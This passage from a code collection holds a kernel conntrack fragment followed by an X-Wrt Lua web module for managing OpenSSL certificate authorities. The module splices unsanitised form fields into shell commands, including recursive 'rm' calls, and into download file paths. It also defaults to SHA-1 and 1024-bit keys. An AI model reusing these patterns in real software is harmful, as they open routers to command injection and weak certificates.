struct nf_proto_net *icmpv6_get_net_proto(struct net *net) { return &net->ct.nf_ct_proto.icmpv6.pn; } struct nf_conntrack_l4proto nf_conntrack_l4proto_icmpv6 __read_mostly = { .l3proto = PF_INET6, .l4proto = IPPROTO_ICMPV6, .name = "icmpv6", .pkt_to_tuple = icmpv6_pkt_to_tuple, .invert_tuple = icmpv6_invert_tuple, .print_tuple = icmpv6_print_tuple, .packet = icmpv6_packet, .get_timeouts = icmpv6_get_timeouts, .new = icmpv6_new, .error = icmpv6_error, #if IS_ENABLED(CONFIG_NF_CT_NETLINK) .tuple_to_nlattr = icmpv6_tuple_to_nlattr, .nlattr_tuple_size = icmpv6_nlattr_tuple_size, .nlattr_to_tuple = icmpv6_nlattr_to_tuple, .nla_policy = icmpv6_nla_policy, #endif #if IS_ENABLED(CONFIG_NF_CT_NETLINK_TIMEOUT) .ctnl_timeout = { .nlattr_to_obj = icmpv6_timeout_nlattr_to_obj, .obj_to_nlattr = icmpv6_timeout_obj_to_nlattr, .nlattr_max = CTA_TIMEOUT_ICMP_MAX, .obj_size = sizeof(unsigned int), .nla_policy = icmpv6_timeout_nla_policy, }, #endif /* CONFIG_NF_CT_NETLINK_TIMEOUT */ .init_net = icmpv6_init_net, .get_net_proto = icmpv6_get_net_proto, };
gpl-2.0
stevelord/PR30
feeds/xwrt/webif-iw-lua-openssl/files/usr/lib/lua/lua-xwrt/openssl.lua
38586
require("lua-xwrt.addon.string") require("lua-xwrt.addon.uci") require("lua-xwrt.html.form") require("lua-xwrt.xwrt.translator") require("lua-xwrt.addon.io") --io.stderr = io.stdout function upload(dir,file) print(dir,file) local algo = util.file_load("/etc/openssl/"..dir.."/"..file) print([[Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private,false Content-Description: File Transfer Content-Type: application/octet-stream Content-Disposition: attachment; filename="]]..file..[[" Content-Length: ]]..string.len(algo)..[[ ]]) print(algo) os.exit(0) end local string = string local io = io local os = os local pairs, ipairs = pairs, ipairs local table = table local uci = uci local util = util local string = string local type = type local print = print local tostring, tonumber = tostring, tonumber local formClass = formClass local htmlhmenuClass = htmlhmenuClass local tr = tr local __MENU = __MENU local __ENV = __ENV local __FORM = __FORM local unpack = unpack local page = page local upload = upload module("lua-xwrt.openssl") local tconf = {} local newMenu = htmlhmenuClass.new("submenu") function form_progress(cmdstr,title,subtitle,msg,donemsg) local title = title local subtitle = subtitle local msg = msg local donemsg = donemsg local cmd title = title or tr("process_longTimeTitle#Process Page") cmd = cmdstr or tr("process_longTimeCmd#Missing command") subtitle = subtitle or tr("process_lognTimeSubTitle#Runnig :").." "..cmd msg = msg or tr("process_longTimeMsg#This proccess will take a long time, please wait until appears the button to continue") donemsg = donemsg or tr("process_longTimeDoneMsg#Thanks for your patience<br>Process Done.") if cmdstr == nil then subtitle = tr("process_longTimeNothing#Nothing to do") end -- __MENU.selected = string.gsub(__ENV.REQUEST_URI,"(.*)_changes&(.*)","%2") page.savebutton ="<input type=\"submit\" name=\"continue\" value=\"Continue\" style=\"width:150px;\" />" page.title = title page.action_apply = "" page.action_review = "" page.action_clear = "" local form = formClass.new(subtitle,true) for k,v in pairs(__FORM) do form:Add("hidden",k,v) end print(page:start()) form:print() --[[ print(uci.get("certificate","newcert","countryName")) print(uci.get("certificate","newcert","stateName")) print(uci.get("certificate","newcert","localityName")) print(uci.get("certificate","newcert","organizationName")) print(uci.get("certificate","newcert","organizationUnitName")) print(uci.get("certificate","newcert","emailAddress")) print(uci.get("certificate","newcert","commonName")) ]] print([[<center><div id="ad" style="width:300px;"><img id="running" src="/images/loading.gif" /><br><br>]]) print(msg) print("</div></center>") if cmdstr ~= nil then local hcmd = io.popen(cmd) hcmd:close() end print([[<script> document.getElementById('ad').innerHTML="]]..donemsg..[["; </script>]]) print(page:the_end()) end function form_info(file) page.savebutton ="<input type=\"submit\" name=\"continue\" value=\"Continue\" style=\"width:150px;\" />" page.title = tr("cert_infoTitle#Certificate Information") page.action_apply = "" page.action_review = "" page.action_clear = "" local form = formClass.new(tr("cert_infoSubtitle#Info about").." "..file,true) for k,v in pairs(__FORM) do form:Add("hidden",k,v) end print(page:start()) form:print() local hcmd = io.popen("openssl x509 -noout -text -in "..file) print("<pre>") for line in hcmd:lines() do print(line) end print("</pre>") hcmd:close() print(page:the_end()) end for u, v in pairs(__FORM) do -- print(u,v,"<br>") local proc, uci_var, uci_cmd, idx, uci_val = unpack(string.split(u,":")) -- print(proc, uci_var, uci_cmd, idx, uci_val,"<br>") if uci_var ~= nil then if proc == "entity_list" then if uci_cmd == "del" then uci.delete("openssl",uci_val) uci.save(uci_var) uci.commit(uci_var) os.execute("rm -R /etc/openssl/"..uci_val) end end if proc == "certCA" then if uci_cmd == "new" then uci.check_set("certificate","newcert","entity") uci.set("certificate","newcert","countryName", uci.check_set("openssl",uci_var,"poly_match_countryName_default","US")) uci.set("certificate","newcert","stateName", uci.check_set("openssl",uci_var,"poly_match_stateOrProvinceName_default","")) uci.set("certificate","newcert","localityName", uci.check_set("openssl",uci_var,"poly_match_localityName_default","")) uci.set("certificate","newcert","organizationName", uci.check_set("openssl",uci_var,"poly_match_organizationName_default","")) uci.set("certificate","newcert","organizationUnitName", uci.check_set("openssl",uci_var,"poly_match_organizationUnitName_default","")) uci.set("certificate","newcert","emailAddress", uci.check_set("openssl",uci_var,"poly_match_emailAddress_default","")) local system = uci.get_type("system","system") uci.set("certificate","newcert","commonName", uci.check_set("openssl",uci_var,"poly_match_commonName_default",system[1].hostname)) uci.save("certificate") uci.save("openssl") uci.commit("openssl") __FORM[u] = nil form_progress("/etc/openssl/ca-build "..uci_var,"Creating CA","Certificatin Authority") uci.delete("certificate","newcert") uci.save("certificate") uci.commit("certificate") os.exit(0) elseif uci_cmd == "del" then os.execute("rm -r /etc/openssl/"..idx) os.execute("mkdir -p /etc/openssl/"..idx.."/topsecret") os.execute("mkdir -p /etc/openssl/"..idx.."/private") os.execute("mkdir -p /etc/openssl/"..idx.."/newcerts") os.execute("mkdir -p /etc/openssl/"..idx.."/csr") os.execute("mkdir -p /etc/openssl/"..idx.."/crl") os.execute("mkdir -p /etc/openssl/"..idx.."/certs") os.execute("touch /etc/openssl/"..idx.."/index.txt") os.execute("echo '01' >> /etc/openssl/"..idx.."/serial") os.execute("echo '01' >> /etc/openssl/"..idx.."/crlnumber") elseif uci_cmd == "download" then upload(idx,uci_val) end end if proc == "cert" then if uci_cmd == "new" then uci.check_set("certificate","newcert","entity") uci.set("certificate","newcert","countryName", __FORM["certificate.newcert.countryName"]) uci.set("certificate","newcert","stateName",__FORM["certificate.newcert.stateName"]) uci.set("certificate","newcert","localityName",__FORM["certificate.newcert.localityName"]) uci.set("certificate","newcert","organizationName",__FORM["certificate.newcert.organizationName"]) uci.set("certificate","newcert","organizationUnitName",__FORM["certificate.newcert.organizationUnitName"]) uci.set("certificate","newcert","emailAddress",__FORM["certificate.newcert.emailAddress"]) uci.set("certificate","newcert","commonName",__FORM["certificate.newcert.commonName"]) uci.save("certificate") __FORM[u] = nil form_progress("/etc/openssl/cert-build "..uci_var.." "..__FORM["certificate.newcert.commonName"],"Creating Certificate",__FORM["certificate.newcert.commonName"]) uci.delete("certificate","newcert") uci.save("certificate") uci.commit("certificate") os.exit(0) elseif uci_cmd == "del" then os.execute("rm /etc/openssl/"..uci_var.."/certs/"..uci_val..".crt") os.execute("rm /etc/openssl/"..uci_var.."/crs/"..uci_val..".csr") os.execute("rm /etc/openssl/"..uci_var.."/private/"..uci_val..".key") elseif uci_cmd == "revoke" then os.execute("/etc/openssl/cert-revoke "..uci_var.." "..uci_val) elseif uci_cmd == "info" then __FORM[u] = nil form_info("/etc/openssl/"..uci_var) os.exit(0) elseif uci_cmd == "download" then upload(uci_var.."/"..idx,uci_val) end end if proc == "srv_cert" then if uci_cmd == "new" then if idx == "dh.pem" then __FORM[u] = nil form_progress("openssl dhparam -out /etc/openssl/"..uci_var.."/dh.pem "..uci.get("openssl",uci_var,"CA_default_bits"),"Creating Key","Diffie Hellman") uci.set("openvpn",uci_var,"dh","/etc/openssl/"..uci_var.."/dh.pem") uci.save("openvpn") uci.commit("openvpn") os.exit(0) end elseif uci_cmd == "del" then if idx == "dh.pem" then os.execute("rm /etc/openssl/"..uci_var.."/dh.pem") uci.delete("openvpn",uci_var,"dh","dh.pem") uci.save("openvpn") uci.commit("openvpn") end end end end end function new_entity(name) uci.check_set("openssl",name,"entity") uci.check_set("openssl",name,'CA_default_crldays','30') uci.check_set("openssl",name,'CA_default_md', 'sha1') uci.check_set("openssl",name,'CA_default_bits', '1024') uci.check_set("openssl",name,'CA_default_days', '365') uci.check_set("openssl",name,'poly_match_countryName', 'match') uci.check_set("openssl",name,'poly_match_stateOrProvinceName', 'optional') uci.check_set("openssl",name,'poly_match_localityName', 'optional') uci.check_set("openssl",name,'poly_match_organizationName', 'optional') uci.check_set("openssl",name,'poly_match_organizationUnitName', 'optional') uci.check_set("openssl",name,'poly_match_emailAddress', 'optional') uci.check_set("openssl",name,'poly_match_commonName', 'supplied') local system = uci.get_type("system","system") uci.set("openssl",name,'poly_match_emailAddress_default', '') uci.set("openssl",name,'poly_match_commonName_default', system[1].hostname) uci.save("openssl") uci.commit("openssl") os.execute("mkdir -p /etc/openssl/"..name.."/topsecret") os.execute("mkdir -p /etc/openssl/"..name.."/private") os.execute("mkdir -p /etc/openssl/"..name.."/newcerts") os.execute("mkdir -p /etc/openssl/"..name.."/csr") os.execute("mkdir -p /etc/openssl/"..name.."/crl") os.execute("mkdir -p /etc/openssl/"..name.."/certs") os.execute("touch /etc/openssl/"..name.."/index.txt") os.execute("echo '01' > /etc/openssl/"..name.."/serial") os.execute("echo '01' > /etc/openssl/"..name.."/crlnumber") __FORM.name = name __FORM.option = "entity" for k, v in pairs(__FORM) do if string.unescape(v) == "New Entity" then __FORM[k] = name end end end if __FORM.new_entity and __FORM.new_entity ~= "" then local name = __FORM.new_entity new_entity(name) end function sslTxtInfo(file, param) local hfile = io.popen("openssl x509 -noout -in "..file.." "..param) return hfile:read("*a") end function file_list(path) local hfl = io.popen("ls "..path) local t = {} for ls in hfl:lines() do t[#t+1]=ls end return t end function getNames(common) local common = common local datos = {} for reg in string.gmatch(common,"[^/]+") do local _, _, key, val = string.find(reg,"(.+)=(.+)") if key then datos[key] = val end end return datos end function sslTableInfo(ffile, param, t, certDB) local crtTable = t or {} local certDB = certDB or {} local _, _, dir, file, ext = string.find(ffile,"(.+)/(%w+)%.(%w+)") if crtTable[file] == nil then crtTable[file] = {} end --print(dir, file, ext, certDB[file],"<br>") if certDB[file] then for k, v in pairs(certDB[file]) do crtTable[file][k] = v end end local hdate = io.popen("openssl x509 -noout -in "..ffile.." "..param) for d in hdate:lines() do local pos = string.find(d,"=") local key = string.sub(d,1,pos-1) local val = string.sub(d,pos+1) if key then if key == "issuer" or key == "subject" then crtTable[file][key] = getNames(val) else crtTable[file][key] = val end end end return crtTable end function readSslDb(name) local t = {} local data = util.file_load("/etc/openssl/"..name.."/index.txt") for line in string.gmatch(data,"[^\n]+") do local _, _, status, f1, f2, idx, unknow, common = string.find(line,"(%a)%s(%w+)%s(.*)%s*(%x+)%s(%w+)%s(.+)") if common then local subject = getNames(common) fname = subject.CN t[fname] = {} t[fname]["idx"] = idx t[fname]["status"] = status t[fname]["fecha1"] = f1 t[fname]["fecha2"] = f2 t[fname]["unknow"] = unknow t[fname]["subject"] = subject end end return t end function set_menu(t) local sub = "openssl.sh?option=entity&name="..t[".name"] local name = __FORM.name or "" newMenu:add(t[".name"],sub) if t[".name"] == __FORM.name then newMenu[t[".name"]] = htmlhmenuClass.new("submenu") -- newMenu[t[".name"]]:add("Settings",sub.."&suboption=settings") -- newMenu[t[".name"]]["Settings"] = htmlhmenuClass.new("submenu") -- newMenu[t[".name"]]["Settings"]:add("CA default",sub.."&suboption=setting&setting=ca_def") -- newMenu[t[".name"]]["Settings"]:add("Policy Match",sub.."&suboption=setting&setting=policy_match") newMenu[t[".name"]]:add("CA default",sub.."&suboption=setting&setting=ca_def") newMenu[t[".name"]]:add("Policy Match",sub.."&suboption=setting&setting=policy_match") newMenu[t[".name"]]:add("Server Certificates",sub.."&suboption=srv_cert") -- local file = if util.file_exists("/etc/openssl/"..name.."/cacert.crt") then -- newMenu[t[".name"]]:add("CA",sub.."&suboption=ca") newMenu[t[".name"]]:add("Certificates",sub.."&suboption=certificates") end end end function init() newMenu:add(tr("openssl_menu_wellcome#Wellcom"),"openssl.sh") newMenu:add(tr("openssl_menu_new#Entities"),"openssl.sh?option=new") uci.foreach("openssl","entity", set_menu) if __MENU[__FORM.cat].len > 1 then __MENU[__FORM.cat]["OpenSSL"] = newMenu else __MENU[__FORM.cat] = newMenu end end function form_wellcome() local forms = {} local str = "" form = formClass.new(tr("openssl_wellcome#Wellcome to OpenSSL Management")) str = str .. "This certificate management use this directory structure<br><br>" str = str .. [[<pre> (entity)/ (entity)/certs (entity)/private (entity)/newcerts (entity)/csr (entity)/crl (entity)/OpenSSL.cnf (entity)/index.txt (entity)/serial.txt (entity)/crlnumber </pre>]] str = str .. "Under directory /etc/openssl" form:Add("text_line","linea1",str) form:Add_help(tr("openssl_welcome#Where"),tr([[openssl_help_welcome#<ul style="list-style-type:disc;font-size:70%;"> <li><strong>certs:</strong> certificates directory container</li> <li><strong>csr:</strong> </li> <li><strong>crl:</strong> </li> <li><strong>index.txt:</strong> </li> <li><strong>newcrts:</strong> </li> <li><strong>private:</strong> </li> <li><strong>serial.txt:</strong> </li> <li><strong>crlnumber:</strong> </li> </ul> ]])) forms[#forms+1] = form return forms end function joinDirUci(tdir,tuci) local tn = {} local t = {} if tuci then for _, v in ipairs(tuci) do tn[v[".name"]] = {} tn[v[".name"]]["uci"] = true end end if tdir then for _, v in ipairs(tdir) do if tn[v] == nil then tn[v] = {} end tn[v]["file"] = true end end for k,v in util.pairsByKeys(tn) do t[#t+1] = k end return t end function form_new(form) local forms = {} local str = "" form = formClass.new(tr("openssl_wellcome#New Entity")) form:Add("text","new_entity","",tr("openssl_entity_name#New Entity Name")) local dir = joinDirUci(util.dirList("/etc/openssl"),uci.get_type("openssl","entity")) form:Add("list", "entity_list:openssl", dir, tr("Entities List"),"","","",true) forms[#forms+1] = form return forms end function form_entity(form,name) if __FORM.suboption == "ca" then return form_entity_ca(form,name) elseif __FORM.suboption == "srv_cert" then return form_serverCert(form,name) elseif __FORM.suboption == "certificates" then return form_entity_certificates(form,name) else return form_entity_settings(form,name) end end function check_srvFile(name,file) local srvfile = "" -- if srvfile == nil then if io.exists("/etc/openssl/"..name..file) == true then srvfile = "/etc/openssl/"..name..file end -- end return srvfile end function form_serverCert(form,name) if form == nil then form = formClass.new(tr("openvpn_server_type#Server Certificates").." - /etc/openssl/"..name,true) else form:Add("subtitle",tr("openvpn_server_type#Server Certificates").." - /etc/openssl/"..name) end --[[ if io.exists("/etc/openssl/"..name.."/cacert.crt") then if (uci.get("openvpn",name,"ca") == nil) and uci.get("openvpn",name,"mode") then uci.set("openvpn",name,"ca","/etc/openssl/"..name.."/cacert.crt") uci.save("openvpn") end else if uci.get("openvpn",name,"ca") then uci.delete("openvpn",name,"ca") uci.save("openvpn") end end ]] local strh = "" strh = strh .. "<table width='100%' style='font-size:80%;'>\n" strh = strh .. "\t<tr style='background: #c8c8c8;'>" strh = strh ..[[<th style="width:95px;">]].."Certificate"..[[</th>]] strh = strh ..[[<th>]].."File"..[[</th>]] strh = strh ..[[<th colspan="4" style="text-align: center;" >]].."Action"..[[</th>]] strh = strh .. "\t</tr>\n" local str = strh str = str .. "\t<tr >" str = str ..[[<td>]].."CA CRT"..[[</th>]] local srvfile = check_srvFile(name,"/cacert.crt") str = str ..[[<td>]]..srvfile..[[</td>]] if srvfile == "" then str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="certCA:]]..name..[[:new:cacert.crt" value="Create" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" else str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="cert:]]..name..[[/cacert.crt:info" value="Info" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="certCA:cacert.crt]]..[[:download:]]..name..[[:cacert.crt" value="Download" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="certCA:ca:del:]]..name..[[:cacert.crt" value="Remove" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" end str = str ..[[</tr>]].."\n" str = str ..[[</table>]] -- -- str = str .. strh -- str = str .. "\t<tr >" -- str = str ..[[<td>]].."Server CRT"..[[</th>]] -- srvfile = check_srvFile(name,"/certs/server.crt") -- if srvfile == "" then -- uci.delete("openvpn",name,"cert") -- else -- if uci.get("openvpn",name,"mode") then -- uci.check_set("openvpn",name,"cert",srvfile) -- end -- end -- str = str ..[[<td>]]..srvfile..[[</td>]] -- str = str .."\t\t"..[[<td style="width:80px" rowspan="2">]]..[[<input type="submit" name="srv_cert:]]..name..[[:new:certs:server" value="Create" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px" rowspan="2">]]..[[<input type="submit" name="cert:]]..name..[[/certs/server.crt:info" value="Info" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px" rowspan="2">]]..[[<input type="submit" name="cert:]]..name..[[:revoke:server:server" value="Revoke" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px" rowspan="2">]]..[[<input type="submit" name="cert:]]..name..[[:del:server:server" value="Remove" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str ..[[</tr>]].."\n" -- str = str .. "\t<tr >" -- str = str ..[[<td>]].."Server KEY"..[[</th>]] -- srvfile = check_srvFile(name,"/private/server.key") -- if srvfile == "" then -- uci.delete("openvpn",name,"key") -- else -- if uci.get("openvpn",name,"mode") then -- uci.check_set("openvpn",name,"key",srvfile) -- end -- end -- str = str ..[[<td>]]..srvfile..[[</td>]] -- str = str ..[[<td>]].."server.key"..[[</td>]] -- str = str ..[[</tr>]].."\n" -- str = str .. "\t<tr >" -- str = str ..[[</table>]] str = str .. strh -- str = str .. "\t<tr >" -- str = str ..[[<td>]].."TLS Auth"..[[</th>]] -- srvfile = check_srvFile(name,"/ta.key") -- if srvfile == "" then -- uci.delete("openvpn",name,"tls_auth") -- else -- if uci.get("openvpn",name,"mode") then -- uci.check_set("openvpn",name,"tls_auth",srvfile) -- end -- end -- str = str ..[[<td>]]..srvfile..[[</td>]] -- str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="srv_cert:]]..name..[[:new:]].."ta.key"..[[" value="Create" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="certCA:ta.key]]..[[:download:]]..name..[[:ta.key" value="Download" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="srv_cert:]]..name..[[:del:]].."ta.key"..[[" value="Remove" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str ..[[</tr>]].."\n" str = str .. "\t<tr >" str = str ..[[<td>]].."Diffie Hellman"..[[</th>]] srvfile = check_srvFile(name,"/dh.pem") if srvfile == "" then uci.delete("openvpn",name,"dh") else if uci.get("openvpn",name,"mode") then uci.check_set("openvpn",name,"dh",srvfile) end end uci.save("openvpn") uci.commit("openvpn") str = str ..[[<td>]]..srvfile..[[</td>]] str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="srv_cert:]]..name..[[:new:]].."dh.pem"..[[" value="Create" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="certCA:dh.pem]]..[[:download:]]..name..[[:dh.pem" value="Download" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="srv_cert:]]..name..[[:del:]].."dh.pem"..[[" value="Remove" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str ..[[</tr>]].."\n" str = str ..[[</table>]] form:Add("text_line","line1",str) forms = {} forms[#forms+1] = form return forms end function form_entity_ca(form,name) local form = form local forms = {} if form == nil then form = formClass.new(tr("openssl_entity_ca#Certificate Authority"),true) else form:Add("subtitle",tr("openssl_entity_ca#Certificate Authority")) end local file = "/etc/openssl/"..name.."/cacert.crt" if util.file_exists(file) then form:Add("text_area","ca_cert",sslTxtInfo(file,"-text"),"CA Info","","width:100%;height:250px;") local str = "<table width='100%'>\n" str = str .. "<tr>\n" str = str .. "<td>If you Remove CA Certificate, will be remove all certificates signed by this CA<td>\n" ---------------------------------------- str = str .. "<td><input type='submit' name='certCA:ca:del:"..name..":cacert.crt' value='Remove it' /></td>\n" str = str .. "<td><input type='submit' name='certCA:ca:download:"..name..":cacert.crt' value='Download It' /></td>\n" ----------------------------------------- str = str .. "</tr>" str = str .. "</table>" form:Add("show_text","text1",str,"","") else createCA(form,name) end forms[#forms+1] = form return forms end function createCA(form,name) form:Add("submit","certCA:"..name..":new","Create CA",tr("openssl_var_newCA#Create New CA"),"", "width:147px;") end function htmlTableCerts(crtsList,name) local str = "" str = str .. "<table width='100%' style='font-size:80%;'>\n" str = str .. "\t<tr style='background: #c8c8c8;'>" str = str ..[[<th style="width:10px">]].."S"..[[</th>]] str = str ..[[<th style="width:25px">]].."Idx"..[[</th>]] str = str ..[[<th>]].."Name"..[[</th>]] str = str ..[[<th style="width:190px">]].."Not Before"..[[</th>]] str = str ..[[<th style="width:190px">]].."Not After"..[[</th>]] str = str ..[[<th colspan="3" style="width:75px">]].."Download"..[[</th>]] str = str ..[[<th colspan="3" style="text-align: center;" >]].."Action"..[[</th>]] str = str ..[[</tr>]].."\n" for f, data in util.pairsByKeys(crtsList) do str = str .. "\t<tr>\n" str = str .."\t\t"..[[<td>]]..(data.status or "&nbsp;")..[[</td>]].."\n" if data.idx then str = str .."\t\t"..[[<td align="right">]]..(data.idx or "&nbsp;")..[[</td>]].."\n" else str = str .."\t\t"..[[<td align="right">&nbsp;</td>]].."\n" end str = str .."\t\t"..[[<td>]]..f..[[</td>]].."\n" if data["notBefore"] then str = str ..[[<td>]]..data["notBefore"]..[[</td>]] str = str ..[[<td>]]..data["notAfter"]..[[</td>]] else str = str ..[[<td align="right">&nbsp;</td>]] str = str ..[[<td align="right">&nbsp;</td>]] end str = str .."\t\t"..[[<td style="width:25px;">]]..[[<input type="submit" name="cert:]]..name..[[:download:certs:]]..f..[[.crt" value="crt" style="font-size:80%;width:25px;"/> </td>]].."\n" str = str .."\t\t"..[[<td style="width:25px;">]]..[[<input type="submit" name="cert:]]..name..[[:download:private:]]..f..[[.key" value="key" style="font-size:80%;width:25px;"/> </td>]].."\n" str = str .."\t\t"..[[<td style="width:25px;">]]..[[<input type="submit" name="cert:]]..name..[[:download:csr:]]..f..[[.csr" value="csr" style="font-size:80%;width:25px;"/> </td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="cert:]]..name..[[/certs/]]..f..[[.crt:info" value="Info" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" -- str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="cert:]]..name..[[:renew:]]..f..[[" value="Renew" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="cert:]]..name..[[:revoke:all:]]..f..[[" value="Revoke" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t\t"..[[<td style="width:80px">]]..[[<input type="submit" name="cert:]]..name..[[:del:all:]]..f..[[" value="Remove" style="font-size:80%;width:80px;"/>]]..[[</td>]].."\n" str = str .."\t"..[[</tr>]].."\n" end str = str .."</table>\n" return str end function form_entity_certificates(form,name) local name = name local form = form local forms = {} if form == nil then form = formClass.new(tr("openssl_entity_ca#Certificates of").." "..name,true) else form:Add("subtitle",tr("openssl_entity_ca#Certificates of").." "..name) end local crtsList = readSslDb(name) local filetb = file_list("/etc/openssl/"..name.."/certs/*") local t = {} local str = "" -- os.execute("touch /etc/config/certificate") local varType = uci.get("openssl",name,"poly_match_countryName") if varType == "supplied" then form:Add("text","certificate.newcert.countryName",uci.get("openssl","newcert","countryName"), tr("openssl_var_countryName#Country Name"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.countryName",uci.get("openssl",name,"poly_match_countryName_default"), tr("openssl_var_countryName#Country Name"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.countryName",uci.check_set("openssl",name,"poly_match_countryName_default",""), tr("openssl_var_countryName#Country Name"),"string") end varType = uci.get("openssl",name,"poly_match_stateOrProvinceName") if varType == "supplied" then form:Add("text","certificate.newcert.stateName",uci.get("openssl","newcert","stateName"), tr("openssl_var_stateName#State or Province Name"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.stateName",uci.get("openssl",name,"poly_match_stateOrProvinceName_default"), tr("openssl_var_stateName#State or Province Name"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.stateName",uci.check_set("openssl",name,"poly_match_stateOrProvinceName_default",""), tr("openssl_var_stateName#State or Province Name"),"string") end varType = uci.get("openssl",name,"poly_match_localityName") if varType == "supplied" then form:Add("text","certificate.newcert.localityName",uci.get("openssl","newcert","localityName"), tr("openssl_var_localityName#Locality Name"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.localityName",uci.get("openssl",name,"poly_match_localityName_default"), tr("openssl_var_localityName#Locality Name"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.localityName",uci.check_set("openssl",name,"poly_match_localityName_default",""), tr("openssl_var_localityName#Locality Name"),"string") end varType = uci.get("openssl",name,"poly_match_organizationName") if varType == "supplied" then form:Add("text","certificate.newcert.organizationName",uci.get("openssl","newcert","organizationName"), tr("openssl_var_organizationName#Organization Name"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.organizationName",uci.get("openssl",name,"poly_match_organizationName_default"), tr("openssl_var_organizationName#Organization Name"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.organizationName",uci.check_set("openssl",name,"poly_match_organizationName_default",""), tr("openssl_var_organizationName#Organization Name"),"string") end varType = uci.get("openssl",name,"poly_match_organizationUnitName") if varType == "supplied" then form:Add("text","certificate.newcert.organizationUnitName",uci.get("openssl","newcert","organizationUnitName"), tr("openssl_var_organizationUnitName#Organization Unit"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.organizationUnitName",uci.get("openssl",name,"poly_match_organizationUnitName_default"), tr("openssl_var_organizationUnitName#Organization Unit"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.organizationUnitName",uci.check_set("openssl",name,"poly_match_organizationUnitName_default",""), tr("openssl_var_organizationUnitName#Organization Unit"),"string") end varType = uci.get("openssl",name,"poly_match_emailAddress") if varType == "supplied" then form:Add("text","certificate.newcert.emailAddress",uci.get("openssl","newcert","emailAddress"), tr("openssl_var_emailAddress#E-Mail Address"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.emailAddress",uci.get("openssl",name,"poly_match_emailAddress_default"), tr("openssl_var_emailAddress#E-Mail Address"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.emailAddress",uci.check_set("openssl",name,"poly_match_emailAddress_default",""), tr("openssl_var_emailAddress#E-Mail Address"),"string") end varType = uci.get("openssl",name,"poly_match_commonName") if varType == "supplied" then form:Add("text","certificate.newcert.commonName",uci.get("openssl","newcert","commonName"), tr("openssl_var_commonName#Common Name"),"string") elseif varType == "match" then form:Add("hidden","certificate.newcert.commonName",uci.get("openssl",name,"poly_match_commonName_default"), tr("openssl_var_commonName#Common Name"),"string") elseif varType == "optional" then form:Add("hidden","certificate.newcert.commonName",uci.check_set("openssl",name,"poly_match_commonName_default",""), tr("openssl_var_commonName#Common Name"),"string") end form:Add("submit","cert:"..name..":new","Create Certificate",tr("openssl_var_newCert#New Certificate"),"", "width:147px;") if #filetb > 0 then for k, file in ipairs(filetb) do sslTableInfo(file,"-dates", t, crtsList) end str = str .. htmlTableCerts(t,name) end form:Add("text_line","linea1",str) -- local str1 = util.table2string(t,"<br>") -- form:Add("text_line","linea2",str1) forms[#forms+1] = form return forms end function form_entity_settings(form,name) forms = {} if __FORM.setting == "policy_match" then forms[#forms+1] = form_ent_set_policy_match(form,name) forms[#forms+1] = form_ent_set_policy_match_values(form,name) else forms[#forms+1] = form_ent_set_ca_def(form,name) end uci.save("openssl") uci.commit("openssl") return forms end function form_ent_set_policy_match(form,name) local form = form local forms = {} if form == nil then form = formClass.new(tr("openssl_set_poli_matc#Policy Match Settings")) else form:Add("subtitle",tr("openssl_set_poli_matc#Policy Match Settings")) end form:Add("select","openssl."..name..".poly_match_countryName",uci.check_set("openssl",name,"poly_match_countryName","match"),tr("openssl_var_countryName#Country Name"),"string") form["openssl."..name..".poly_match_countryName"].options:Add("match",tr("match")) form["openssl."..name..".poly_match_countryName"].options:Add("supplied",tr("supplied")) form["openssl."..name..".poly_match_countryName"].options:Add("optional",tr("optional")) form:Add("select","openssl."..name..".poly_match_stateOrProvinceName",uci.check_set("openssl",name,"poly_match_stateOrProvinceName","optional"),tr("openssl_var_stateOrProvinceName#Province or State"),"string") form["openssl."..name..".poly_match_stateOrProvinceName"].options:Add("match",tr("match")) 